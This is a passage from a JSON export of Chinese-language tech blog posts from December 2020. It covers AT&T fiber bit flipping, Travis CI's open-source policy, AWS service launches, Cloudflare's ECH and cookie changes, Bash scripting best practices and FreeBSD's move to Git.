    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到個有趣的 troubleshooting 過程，<a href=\"https://www.att.com/\">AT&amp;T</a> 的線路會造成 random bit flipping 的問題，另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論野蠻熱鬧的：「<a href=\"https://news.ycombinator.com/item?id=25335936\">AT&amp;T Fiber in the SF Bay Area is flipping bits (twitter.com/catfish_man)</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">More evidence that my ongoing internet woes are at AT&amp;T’s end<a href=\"https://t.co/QurZdHBNz3\">https://t.co/QurZdHBNz3</a></p>&mdash; David Smith (@Catfish_Man) <a href=\"https://twitter.com/Catfish_Man/status/1335373029245775872?ref_src=twsrc%5Etfw\">December 5, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n有人生了一個 script 出來測試，這隻 script 會抓 <code>www.example.com</code> 的 HTTP 與 HTTPS 結果比較，從下面大家的留言回報，可以看出來有 random bit flipping 的問題：「<a href=\"https://gist.github.com/bmastenbrook/14c0e22fc02b95d4a48f82d3ec3123db\">bmastenbrook/example-test.sh</a>」。\r\n\r\n然後總算是解決了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">I’m hearing AT&amp;T got their shit together and things are working now. Big thanks to <a href=\"https://twitter.com/vikxin?ref_src=twsrc%5Etfw\">@vikxin</a> and <a href=\"https://twitter.com/bmastenbrook?ref_src=twsrc%5Etfw\">@bmastenbrook</a> for doing the heavy lifting here.</p>&mdash; David Smith (@Catfish_Man) <a href=\"https://twitter.com/Catfish_Man/status/1336170784784412673?ref_src=twsrc%5Etfw\">December 8, 2020</a></blockquote>\r\n\r\n可惜看不到 AT&amp;T 的回應，大家只能猜測是 memory 相關的問題，也許壞的部份有多個地方，造成 <a href=\"https://en.wikipedia.org/wiki/Error_correction_code\">ECC</a> 機制在某些情況下不夠用...",
    "title": "AT&T 網路的問題"
  },
  {
    "id": "9877",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://webdatarender.com/\">Web Data Render</a>」這個有趣的東西，這個網頁本身是個 <a href=\"https://en.wikipedia.org/wiki/JSON\">JSON</a>，透過一些技巧載入 javascript 後就可以讀取資料 render...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/39XSB3T.webp\" /><img src=\"https://i.gslin.com/imgur/39XSB3T.png\" alt=\"\" /></picture>\r\n\r\n不過網頁本身就不是合法的 HTML 了：「<a href=\"https://validator.w3.org/nu/?doc=https%3A%2F%2Fwebdatarender.com%2F\">Showing results for https://webdatarender.com/</a>」，只能算是個有趣的作法...",
    "title": "網頁本身是個合法的 JSON 的展示"
  },
  {
    "id": "9878",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這個，在講 <a href=\"https://travis-ci.com/\">Travis CI</a> 終止對 open source 專案的服務：「<a href=\"https://news.ycombinator.com/item?id=25338983\">Travis CI is no longer providing CI minutes for open source projects</a>」。\r\n\r\n有不少專案已經改用其他 <a href=\"https://en.wikipedia.org/wiki/Continuous_integration\">CI</a> 服務的 free tier 做，像是 <a href=\"https://github.com/features/actions\">GitHub Actions</a> 與 <a href=\"https://circleci.com/\">CircleCI</a> 都有提供。\r\n\r\n看了一下 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論，不少人是可以理解不會有永遠免費的午餐，只是這次 Travis CI 的處理讓大家覺得比較討厭的是，一方面官方一直跟 open source community 說我們很願意支援 open source community (前幾個禮拜官方 blog 還有發文重申這件事情)，另外一方面是一直在朝著關閉服務走：從限制 10K credits 開始，到現在不會再提供 credit 給 open source 專案。\r\n\r\n有人整理了對應的時間軸：\r\n\r\n<blockquote>? 2018: Travis CI announces they are starting the process of merging travis-ci.org, which provided free builds for OSS projects, into travis-ci.com, which until then was only for paying customers. They promise OSS builds will continue to be free.\r\n\r\n? 2020: Travis CI announces they are shutting down travis-ci.org at the end of the year and all projects have to move to travis-ci.com. They promise OSS builds will continue to be free.\r\n\r\nEarly November 2020: travis-ci.com switches from providing unlimited builds for OSS to only providing 10k one-time credits by default. Projects that meet certain guidelines (e.g. no one paid to work on them) can apply for recurring credits.\r\n\r\nLater in November 2020: CI for many OSS projects that had migrated to travis-ci.com starts to fail, as they've exhausted their 10K credits.\r\n\r\nDec 2020: If what is reported here is accurate, Travis CI stop providing any recurring OSS credits. CI breaks for the remaining OSS projects on travis-ci.com.\r\n\r\nJan 2021: travis-ci.org shuts down. CI will be broken for all projects using it. They'll have the option of migrating to travis-ci.com, but will soon break again as they exhaust their 10k credits.</blockquote>\r\n\r\n這種服務非常吃 CPU resource，大型專案如果每個 push 或是每個 pull request 都跑一輪完整的測試，成本應該不低，大概可以理解為什麼 Travis CI 會這樣決定，不過態度就...\r\n\r\n其他家有提供 free tier 的 CI 最近應該會湧入不少人，這幾個月可以看看其他家會不會也跟進，另外一方面應該也會有人開始自架？",
    "title": "Travis CI 停止提供服務給 Open Source 專案"
  },
  {
    "id": "9879",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對於 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的網路推出了五個新的監控指標：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/12/amazon-ec2-announces-new-network-performance-metrics-for-ec2-instances/\">Amazon EC2 announces new network performance metrics for EC2 instances</a>」。\r\n\r\n看起來都是跟限流有關的指標，看起來是在壓榨機器極限時會用到：\r\n\r\n<blockquote>The new metrics inform customers in real time of network traffic impacted when instance allowances for inbound and outbound bandwidth, packets-per-second (PPS), connections tracked and PPS to link-local services are exceeded.</blockquote>\r\n\r\n需要有最新的 ENA driver 才會提供 (看了一下現有的機器沒出現這些值 XD)：\r\n\r\n<blockquote>These metrics are available today in all global commercial AWS regions on instances running the latest version of the Elastic Network Adapter (ENA) driver with support for Linux, Windows ENA driver support will be available soon with version 2.2.2.0.</blockquote>\r\n\r\n不另外收費：\r\n\r\n<blockquote>They can be accessed from within the instance at no extra cost using simple command line tools.</blockquote>\r\n\r\n這個功能在所有 AWS 商業區以及 GovCloud (US) 都已經上線：\r\n\r\n<blockquote>Instance Level Network Performance Metrics is available in all AWS Commercial and GovCloud (US) Regions, with the exception of China (Beijing) and China (Ningxia).</blockquote>\r\n\r\n先記錄起來就好，一般用法應該都還好...",
    "title": "EC2 的 Monitoring 提供更多關於限流的資訊"
  },
  {
    "id": "9881",
    "body": "這兩則應該可以一起看，雖然相差了兩個多月。\r\n\r\n首先是今年九月底的時候提供隱私優先的分析系統：「<a href=\"https://blog.cloudflare.com/free-privacy-first-analytics-for-a-better-web/\">Free, Privacy-First Analytics for a Better Web</a>」，接下來是最近 (十二月) 宣佈要把 <code>__cfduid</code> 這組 cookie 拔掉：「<a href=\"https://blog.cloudflare.com/deprecating-cfduid-cookie/\">Deprecating the __cfduid cookie</a>」。\r\n\r\n文章裡面沒有提到現在是怎麼偵測的，但我猜是瀏覽器的 fingerprint 資料已經足夠辨識了，不需要用到 cookie，這點可以參考 <a href=\"https://www.eff.org/\">EFF</a> 的「<a href=\"https://coveryourtracks.eff.org/learn\">Cover Your Tracks</a>」。\r\n\r\n所以 privacy-first 這件事情也只是程度上而已，為了要防禦 bot，還是得正確辨識出不同的使用者，也就是說，現在不用 cookie 不代表 privacy 就高很多。不過這的確是試著在技術上努力降低疑慮就是了...\r\n\r\n真的想要在 internet 上隱藏身份的人還是用 <a href=\"https://www.torproject.org/\">Tor</a> 吧，基本上最少應該拿 Tor Browser，更小心一點應該用 <a href=\"https://tails.boum.org/\">Tails</a> 這類軟體。",
    "title": "Cloudflare 拔掉使用 Cookie 分析的功能"
  },
  {
    "id": "9882",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 本來在推的 <a href=\"https://tools.ietf.org/html/draft-ietf-tls-esni-06\">ESNI</a> 現在變成 <a href=\"https://tools.ietf.org/html/draft-ietf-tls-esni-08\">ECH</a> 了：「<a href=\"https://blog.cloudflare.com/encrypted-client-hello/\">Good-bye ESNI, hello ECH!</a>」。\r\n\r\n上面這張圖是 ESNI，下面這張是 ECH：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jvvtguP.webp\" /><img src=\"https://i.gslin.com/imgur/jvvtguP.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/j9qhpyp.webp\" /><img src=\"https://i.gslin.com/imgur/j9qhpyp.png\" alt=\"\" /></picture>\r\n\r\n可以看出來 ECH 最主要的差異是把本來的 ClientHello 都加密包起來了，伺服器會先試著解內層的 ClientHelloInner，失敗的時候會用外層的 ClientHelloOuter：\r\n\r\n<blockquote>The server completes the handshake with just one of these ClientHellos: if decryption succeeds, then it proceeds with the ClientHelloInner; otherwise, it proceeds with the ClientHelloOuter.</blockquote>\r\n\r\n看得出來 ECH 的其中一個目標是讓他看起來跟一般的 TLS 連線一樣，這樣就能順便解掉 censorship 的問題...\r\n\r\n其中一個原因應該也是因為之前中國與俄國的直接封掉 ESNI：\r\n\r\n<blockquote>In August 2020, the Great Firewall of China started blocking ESNI traffic, while still allowing ECH traffic.\r\n\r\nIn October 2020, Russian ISPs such as Rostelecom and its mobile operator Tele2 started blocking ESNI traffic.</blockquote>\r\n\r\n不過仍然還有分析 HTTPS pattern 的方式可以抓 (就是文章裡提的 traffic analysis)，目前看起來只處理了 ClientHello 本身，現在還是有機會分析 handshake 過程來擋，必須繼續改善 ECH 的協定，讓整個流程看起來都跟一般的 TLS 一樣...\r\n\r\n可以等著看，到時候在中國的效果如何了，會不會讓國外的各大服務直接打進去呢...",
    "title": "Cloudflare 改推 ECH 加密整個 TLS 的 ClientHello"
  },
  {
    "id": "9883",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出 Dark Mode 後我就馬上切過去，但用了兩天後覺得辨識度太差就換回來了，剛剛在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到不只我抱怨這個問題：「<a href=\"https://blog.karenying.com/posts/github-darkmode-sucks\">GitHub Dark Mode is Too Dark</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以翻翻：「\t<a href=\"https://news.ycombinator.com/item?id=25400139\">GitHub Dark Mode is too Dark (karenying.com)</a>」。\r\n\r\n裡面分析了 <a href=\"https://www.spotify.com/\">Spotify</a>、<a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://www.youtube.com/\">YouTube</a> 以及 GitHub 的配色盤，然後算出對比度，可以看到 GitHub 的配色上的確是差了不少...\r\n\r\n目前 GitHub 上的 <a href=\"https://github.com/settings/appearance\">Theme</a> 功能是掛 beta，應該還是有機會改，看看會不會修的好一點...",
    "title": "GitHub 的 Dark Mode 辨識度太低的問題"
  },
  {
    "id": "9885",
    "body": "看到「<a href=\"https://dangoldin.com/2020/12/11/amazon-owns-more-than-2b-worth-of-ipv4-addresses/\">Amazon owns more than $2B worth of IPV4 addresses</a>」這篇提到，算了一下才發現 <a href=\"https://www.amazon.com/\">Amazon</a> (<a href=\"https://aws.amazon.com/\">AWS</a>) 手上有超多 IPv4 位置...\r\n\r\n<blockquote>As of today, December 11, 2020 AWS self reports owning 109,847,486 IPV4 addresses - at a price of $20 this is almost $2.2B and at $30 it’s almost $3.3B.</blockquote>\r\n\r\n這邊要算可用的 IPv4 位置不能直接拿 2^32 算，需要扣掉特殊用途的...\r\n\r\n最大的兩組是 <a href=\"https://en.wikipedia.org/wiki/Multicast\">Multicast</a> 與保留不用的部份，分別是 <code>224.0.0.0/4</code> 與 <code>240.0.0.0/4</code>，這邊有 32 個 Class A 的空間，再扣掉 <code>0.0.0.0/8</code>、<code>10.0.0.0/8</code>、<code>127.0.0.0/8</code> 這三個 Class A 的空間，然後其他零星小的算一算再全部抓起來扣一扣，Amazon (AWS) 手上掛了將近全世界 3% 的 IPv4 可用位置，相當驚人...\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 的好像沒有完整的，只有 Google 自家服務的，沒有包括 <a href=\"https://cloud.google.com/\">GCP</a>...",
    "title": "Amazon (AWS) 手上有全世界 3% 的 IPv4 可用位置？"
  },
  {
    "id": "9887",
    "body": "這兩則一起看比較順，<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://grafana.com/\">Grafana</a> 與 <a href=\"https://prometheus.io/\">Prometheus</a> 服務：「<a href=\"https://aws.amazon.com/blogs/aws/announcing-amazon-managed-grafana-service-in-preview/\">Announcing Amazon Managed Service for Grafana (in Preview)</a>」、「<a href=\"https://aws.amazon.com/blogs/aws/join-the-preview-amazon-managed-service-for-prometheus-amp/\">Join the Preview – Amazon Managed Service for Prometheus (AMP)</a>」，兩個都是 preview 等級，需要申請才能用。\r\n\r\n<a href=\"https://aws.amazon.com/grafana/\">Amazon Managed Service for Grafana</a> 簡稱是 AMG，<a href=\"https://aws.amazon.com/prometheus/\">Amazon Managed Service for Prometheus</a> 則是 AMP。\r\n\r\n其中 Grafana 的部份是雙方合作，Grafana 這邊有發新聞稿出來：「<a href=\"https://grafana.com/blog/2020/12/15/announcing-amazon-managed-service-for-grafana/\">Our new partnership with AWS gives Grafana users more options</a>」。\r\n\r\n主要還是方便為主，另外看起來也幫你搞定 HA + scalability 的問題了...\r\n\r\n價錢的部份，AMG 是算人頭與 workspace，AMP 算空間與計算成本...",
    "title": "AWS 推出 Grafana + Prometheus 服務"
  },
  {
    "id": "9888",
    "body": "也是個大家等蠻久的功能，<a href=\"https://aws.amazon.com/\">AWS</a> 總算在 <a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 上推出 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions\">DNSSEC</a> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/12/announcing-amazon-route-53-support-dnssec/\">Announcing Amazon Route 53 support for DNSSEC</a>」。\r\n\r\n他需要掛 <a href=\"https://aws.amazon.com/kms/\">AWS KMS</a>，這部份會有一些費用在裡面，不過應該是還好...\r\n\r\n不過 web console 目前有個明顯的缺點：透過 Route 53 註冊的網域，又用 Route 53 自家服務的情況下，設定 DNSSEC 的整合沒有做的很好，不能直接快速設定。\r\n\r\n現在得自己設定演算法，然後複製 public key 到另外一邊，當你有一堆網域要設定的時候就會覺得很煩了...",
    "title": "Amazon Route 53 支援 DNSSEC"
  },
  {
    "id": "9889",
    "body": "<a href=\"https://github.com/\">GitHub</a> 家的老大宣佈拿掉 cookie banner 了，因為他們直接把所有非必要的 cookie 都拿掉了：「<a href=\"https://github.blog/2020-12-17-no-cookie-for-you/\">No cookie for you</a>」。\r\n\r\n會有 cookie banner 主要是因為歐盟的規定：\r\n\r\n<blockquote>Well, EU law requires you to use cookie banners if your website contains cookies that are not required for it to work. Common examples of such cookies are those used by third-party analytics, tracking, and advertising services. These services collect information about people’s behavior across the web, store it in their databases, and can use it to serve personalized ads.</blockquote>\r\n\r\n然後他們的解法是拔掉：\r\n\r\n<blockquote>At GitHub, we want to protect developer privacy, and we find cookie banners quite irritating, so we decided to look for a solution. After a brief search, we found one: just don’t use any non-essential cookies. Pretty simple, really. ?</blockquote>\r\n\r\n是個「解決製造問題的人」的解法 XDDD (但是是褒意)",
    "title": "GitHub 拿掉所有非必要的 Cookie 了"
  },
  {
    "id": "9890",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/cloudshell/\">CloudShell</a>，讓使用者可以繼承 <a href=\"https://aws.amazon.com/iam/\">IAM</a> 的權限，在瀏覽器裡面用 command line 操作 AWS 資源：「<a href=\"https://aws.amazon.com/blogs/aws/aws-cloudshell-command-line-access-to-aws-resources/\">AWS CloudShell – Command-Line Access to AWS Resources</a>」。\r\n\r\n使用方式很簡單，在 web console 上方的 icon 點下去就可以用了，只是第一次使用的時候會看到需要建立環境的訊息，會等比較久：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PIbEMAh.webp\" /><img src=\"https://i.gslin.com/imgur/PIbEMAh.png\" alt=\"\" /></picture>\r\n\r\n連進去後測了一下，看起來是跑一個 30GB Disk 與 4GB RAM 的 container 起來，<code>/proc/cpuinfo</code> 裡面可以看到是 Intel E5-2676 v3 的機器，以這個資訊來查，看起來可能是 <code>m4</code> 系列的機器。\r\n\r\n網路的部份基本上對 internet 的 TCP 與 UDP 都可以通，但需要操作 raw socket 丟 ICMP 的 ping 與 <a href=\"https://en.wikipedia.org/wiki/MTR_(software)\">mtr</a> 就不會通了。\r\n\r\n目前支援的區域只有這些，之後應該會陸陸續續再開放：\r\n\r\n<blockquote>Regions – CloudShell is available today in the US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), and Asia Pacific (Tokyo) Regions, with the remaining regions on the near-term roadmap.</blockquote>\r\n\r\n費用的部份，官方是說不需要另外的費用，只需要付出用到的 AWS 資源，但這邊沒給範例啊，到底是怎麼算的... 看了一圈 <a href=\"https://aws.amazon.com/ec2/\">EC2</a>、<a href=\"https://aws.amazon.com/ecs/\">ECS</a>、<a href=\"https://aws.amazon.com/eks/\">EKS</a> 都沒有機器，應該是不會算到這邊？\r\n\r\n<blockquote>Pricing – You can use up to 10 concurrent shells in each region at no charge. You only pay for other AWS resources you use with CloudShell to create and run your applications.</blockquote>\r\n\r\n刷了一下的感覺是，對於已經習慣跳板機的人來說好像還好，尤其是 command line 已經用熟了，太習慣用 Ctrl-W 刪字串，而在瀏覽器裡面按下去就會直接出事的情況，還是有點難用...\r\n\r\n比較明顯的好處應該是整合了 IAM 的權限，所以在 <a href=\"https://aws.amazon.com/cli/\">awscli</a> 下的權限是一樣的，另外對於有些 web console 沒支援的操作可以用這個方法補強，而不需要自己弄機器出來跑。",
    "title": "AWS 推出 CloudShell"
  },
  {
    "id": "9891",
    "body": "這篇給了一份 bash script 用的 tempalte，但更重要的反而是裡面提到的 best practice：「<a href=\"https://betterdev.blog/minimal-safe-bash-script-template/\">Minimal safe Bash script template</a>」。\r\n\r\n首先是不要寫 <code>/bin/bash</code> 這件事情，因為有些系統是沒有 <code>/bin/bash</code> 的，像是 <a href=\"https://www.freebsd.org/\">FreeBSD</a>。\r\n\r\n如果程式是可以用 POSIX sh 語法的話，應該優先考慮 <code>/bin/sh</code>，如果用到非 POSIX 標準的語法的話，用 env 帶出來會少一些問題：\r\n\r\n<pre>#!/usr/bin/env bash</pre>\r\n\r\n再來是 fail 時就趕快停止，不要再往下執行，這點算是老生常談了，文章作者也有給一個範例說明：\r\n\r\n<pre>set -Eeuo pipefail</pre>\r\n\r\n再來另外一個還蠻有用的事情是攔下常見的 signal 處理「後事」：\r\n\r\n<pre>trap cleanup SIGINT SIGTERM ERR EXIT\r\n\r\ncleanup() {\r\n  trap - SIGINT SIGTERM ERR EXIT\r\n  # script cleanup here\r\n}</pre>\r\n\r\n其他的可以看一看，但未必要全盤收下...",
    "title": "Bash Script 的好習慣"
  },
  {
    "id": "9894",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/location/\">Amazon Location</a>：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-location-add-maps-and-location-awareness-to-your-applications/\">Amazon Location – Add Maps and Location Awareness to Your Applications</a>」，目前是 Preview 階段，但開放給所有人使用，而且不收費。\r\n\r\n目前合作的圖資是 <a href=\"https://www.esri.com/\">Esri</a> 與 <a href=\"https://www.here.com/\">HERE Technologies</a>：\r\n\r\n<blockquote>You can choose between maps and map styles provided by Esri and by HERE Technologies, with the potential for more maps &amp; more styles from these and other partners in the future.</blockquote>\r\n\r\n先比較了一下 Amazon Location 在 map 這塊預定收費的價錢與 <a href=\"https://www.mapbox.com/pricing/\">Mapbox pricing</a> 這邊列出來的價錢，看起來兩邊的算法不太一樣，AWS 這邊是照 tile 數量算錢，Mapbox 則是算 load 次數算錢，看起來 AWS 這邊服務的在大量互動的情況下會比較貴 (會拉很多 tile)，但對於像是只是展示可能會便宜不少，像是 <a href=\"https://www.591.com.tw/\">591</a> 的那種用法。\r\n\r\n其他的項目就先暫時懶的看了...\r\n\r\n開放的區域是老面孔了，其實比較好奇為什麼這類服務不是一次把商業區全開：\r\n\r\n<blockquote>Amazon Location is available in the US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), and Asia Pacific (Tokyo) Regions.</blockquote>",
    "title": "AWS 推出 Amazon Location"
  },
  {
    "id": "9895",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到有趣的服務：「<a href=\"https://abooklikefoo.com/escape/\">Break the Bubble!</a>」，這是由 <a href=\"https://abooklikefoo.com/\">A Book Like Foo</a> 提供的服務，你輸入至少兩本你喜歡的書，然後他就丟一些非同溫層外的書籍出來...\r\n\r\n我隨便丟了 <a href=\"https://en.wikipedia.org/wiki/Nineteen_Eighty-Four\">1984</a> + <a href=\"https://en.wikipedia.org/wiki/The_Art_of_Computer_Programming\">TAOCP</a> + <a href=\"https://en.wikipedia.org/wiki/Introduction_to_Algorithms\">CLRS</a> 三本進去，推薦出來的書丟到 wikipedia 翻了一下，看起來的確都是平常不會想看的內容 XDDD\r\n\r\n找時間問一下同事，看看這後面的演算法會怎麼玩...",
    "title": "找出非同溫層的書籍"
  },
  {
    "id": "9897",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 規劃要淘汰 <a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> (<a href=\"https://aws.amazon.com/rds/mysql/\">MySQL</a> 5.5)，不過我是從 <a href=\"https://www.percona.com/\">Percona</a> 這邊看到...：「<a href=\"https://www.percona.com/blog/2020/12/21/amazon-rds-for-mysql-5-5-eol-date-is-approaching-act-now/\">Amazon RDS for MySQL 5.5 EOL Date is Approaching – Act Now!</a>」，找了一下官方的文件，在「<a href=\"https://forums.aws.amazon.com/ann.jspa?annID=8175\">Announcement: Amazon RDS for MySQL 5.5 End-of-Life date is approaching</a>」這邊可以翻到。\r\n\r\n如果硬要待在 <a href=\"https://dev.mysql.com/downloads/mysql/5.5.html\">MySQL 5.5</a> 的話，目前看起來比較容易的解法應該是自己用 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 架，不過這樣的話 High Availability 的架構就頗麻煩了，用 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 可能是個方法...\r\n\r\n話說回來，好久沒用 <a href=\"https://dev.mysql.com/downloads/mysql/5.5.html\">MySQL 5.5</a> 了，這個版本記得是 InnoDB Plugin 整合進 <a href=\"https://www.mysql.com/\">MySQL</a> 的第一個版本，先前應該是 <a href=\"https://web.archive.org/web/20151002061511/https://dev.mysql.com/downloads/mysql/5.1.html\">MySQL 5.1</a> + InnoDB Plugin 的方式跑，我記得當時就是要 <code>COMPRESSED</code> 格式，算是 MySQL 當時蠻重大的進展...\r\n\r\n手上還有在 5.5 上跑的人應該要自己安排時間換，儘量不要等到 AWS 硬升級的時候換，這樣炸掉的機會蠻高的...",
    "title": "AWS 淘汰 Amazon RDS (MySQL 5.5) 的計畫"
  },
  {
    "id": "9898",
    "body": "在 <a href=\"http://www.bsdchat.com/\">#bsdchat</a> 上面看到 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 提供了 <a href=\"https://git-scm.com/\">Git</a> repository，翻了一下看起來是最近在切換，這邊有翻到慣例的 HEADS UP：「<a href=\"https://forums.freebsd.org/threads/heads-up-freebsd-changing-from-subversion-to-git-this-weekend.78087/\">HEADS UP: FreeBSD changing from Subversion to Git this weekend</a>」。\r\n\r\n<blockquote>The FreeBSD project will be moving it's source repo from subversion to git starting this this weekend. The docs repo was moved 2 weeks ago. The ports repo will move at the end of March, 2021 due to timing issues.</blockquote>\r\n\r\n大概是 2008 年先把 src tree 從 <a href=\"https://en.wikipedia.org/wiki/Concurrent_Versions_System\">CVS</a> 換到 <a href=\"https://en.wikipedia.org/wiki/Apache_Subversion\">Subversion</a> 上：「<a href=\"https://blog.gslin.org/archives/2008/06/01/1511/freebsd-src-%e9%83%a8%e4%bb%bd%e7%94%b1-cvs-%e8%bd%89%e6%8f%9b%e5%88%b0-subversion/\">FreeBSD src 部份由 CVS 轉換到 Subversion</a>」。\r\n\r\n然後 2012 年把 ports tree 換過去：「<a href=\"https://blog.gslin.org/archives/2012/07/12/2903/freebsd-ports-%E5%B0%87%E5%BE%9E-cvs-%E8%BD%89%E7%A7%BB%E5%88%B0-subversion-%E4%B8%8A/\">FreeBSD ports 將從 CVS 轉移到 Subversion 上...</a>」。\r\n\r\n雖然已經很久沒用 FreeBSD 了 (最近碰到最接近的系統應該是 <a href=\"https://www.pfsense.org/\">pfSense</a>)，但還是先恭喜他們總算要切換了，兩邊的能量差太多了...",
    "title": "FreeBSD 要從 Subversion 換到 Git"
  },
  {
    "id": "9901",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2020/11/08/9795/lets-encrypt-%e5%9c%a8-android-%e5%b9%b3%e5%8f%b0%e4%b8%8a%e9%81%87%e5%88%b0%e7%9a%84%e5%95%8f%e9%a1%8c/\">Let's Encrypt 在 Android 平台上遇到的問題</a>」這邊提到了 <a href=\"https://www.identrust.com/\">IdenTrust</a> 幫 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 交叉簽名的有效日會在 2021 年的八月底左右到期，而這會導致比較舊的 <a href=\"https://www.android.com/\">Android</a> 平台因為沒有內建 <a href=\"https://censys.io/certificates/96bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c6\">ISRG Root X1</a> 這個憑證，造成 Let's Encrypt 簽出來的憑證在這些舊的 Android 裝置上都認不出來。\r\n\r\n文章出來過了一個多月後，剛剛看到 Let's Encrypt 發佈消息，IdenTrust 願意再交叉簽名三年：「<a href=\"https://letsencrypt.org/2020/12/21/extending-android-compatibility.html\">Extending Android Device Compatibility for Let's Encrypt Certificates</a>」，當時猜測發文是要讓 IdenTrust 表態，看起來目的達成了...\r\n\r\n話說中間跑出來的「<a href=\"https://blog.gslin.org/archives/2020/11/24/9823/zerossl-%E4%B9%9F%E6%8F%90%E4%BE%9B%E5%85%8D%E8%B2%BB%E7%9A%84-ssl-certificate-dv-%E4%BA%86/\">ZeroSSL 也提供免費的 SSL Certificate (DV) 了</a>」不知道後續會怎麼樣，之後可以看看 <a href=\"https://en.wikipedia.org/wiki/Certificate_Transparency\">Certificate Transparency</a> 的資料來看看到底有多少人用...",
    "title": "IdenTrust 願意再幫 Let's Encrypt 交叉簽三年"
  },
  {
    "id": "9902",
    "body": "發現 <a href=\"https://www.vim.org/\">Vim</a> 開 <code>Makefile</code> 類的檔案 (包括 <code>GNUmakefile</code>) 的 tab 都變成 2 格，交叉測了一下發現是 <a href=\"https://github.com/sheerun/vim-polyglot\">vim-polyglot</a> 造成的：「<a href=\"https://github.com/sheerun/vim-polyglot/issues/648\">Polyglot is wrongly setting tabstop to 2 on several file types #648</a>」。\r\n\r\n目前先用作者提到的方式 <code>let g:polyglot_disabled = [\"autoindent\"]</code> 解 (在首頁也有提到這個)。\r\n\r\n目前看起來正常一些了...",
    "title": "vim-polyglot 把預設的 tabstop 改成 2"
  },
  {
    "id": "9905",
    "body": "看到 <a href=\"https://www.vultr.com/\">Vultr</a> 也打算要推出 <a href=\"https://kubernetes.io/\">Kubernetes</a> 這個產品線了：「<a href=\"https://www.vultr.com/news/Announcing-Vultr-Kubernetes-Engine/\">Announcing Vultr Kubernetes Engine!</a>」。\r\n\r\n這樣加上之前的 <a href=\"https://www.linode.com/\">Linode</a> 的 <a href=\"https://www.linode.com/products/kubernetes/\">Linode Kubernetes Engine (LKE)</a> 與 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的 <a href=\"https://www.digitalocean.com/products/kubernetes/\">DigitalOcean Kubernetes</a> (「<a href=\"https://blog.gslin.org/archives/2018/12/13/8632/digitalocean-%E4%B9%9F%E6%8E%A8%E5%87%BA-kubernetes-%E7%9A%84%E6%9C%8D%E5%8B%99/\">DigitalOcean 也推出 Kubernetes 的服務</a>」)，比較知名的幾家 VPS 都推出 K8S 的產品線了。\r\n\r\n對於不是 cloud provider 的 VPS provider 來說，直接拿 K8S 整合可以建了一組 mini-AWS 的架構出來，而且因為軟體還算紅，既有的 ecosystem 也可以直接拉進來，不需要另外重新學。不過因為 K8S 發展很快，還是可以常常看到各種踩雷抱怨文... XD\r\n\r\n對於使用者來說，如果有一定的量與技術能力，加上想要省錢的話，用這些 VPS 提供的 K8S 服務看起來是個不錯的選擇。\r\n\r\n應該找些時間更新之前自己摸索的那些東西了 (之前整理在「<a href=\"https://wiki.gslin.org/wiki/Kubernetes\">Kubernetes</a>」這邊)，理解底層會怎麼弄的對於在分析問題時還是蠻重要的 (i.e. 通靈)，記得兩年前如果自己要弄 K8S master HA 還是 beta 功能...",
    "title": "Vultr 也推出 Kubernetes 服務 (Beta)"
  },
  {
    "id": "9908",
